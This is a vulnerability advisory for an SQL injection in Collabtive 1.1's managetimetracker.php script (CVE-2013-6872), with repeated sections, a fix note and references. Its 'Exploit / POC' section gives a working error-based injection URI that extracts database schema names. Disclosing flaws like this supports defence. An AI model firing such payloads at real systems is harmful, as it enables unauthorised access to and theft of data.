Collabtive 'managetimetracker.php' Script SQL Injection Vulnerability
BID:64943
Info
Collabtive 'managetimetracker.php' Script SQL Injection Vulnerability
| Bugtraq ID: | 64943 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-6872 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 15 2014 12:00AM |
| Updated: | Jan 15 2014 12:00AM |
| Credit: | Yogesh Phadtare |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
Collabtive 'managetimetracker.php' Script SQL Injection Vulnerability
Collabtive is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Collabtive 1.1 is vulnerable; other versions may also be affected.
Collabtive is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Collabtive 1.1 is vulnerable; other versions may also be affected.
Exploit / POC
Collabtive 'managetimetracker.php' Script SQL Injection Vulnerability
An attacker can exploit this issue using a web browser.
The following example URI and exploit are available:
http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
An attacker can exploit this issue using a web browser.
The following example URI and exploit are available:
http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Solution / Fix
Collabtive 'managetimetracker.php' Script SQL Injection Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Collabtive 'managetimetracker.php' Script SQL Injection Vulnerability
References:
References:
- Collabtive Homepage (Collabtive)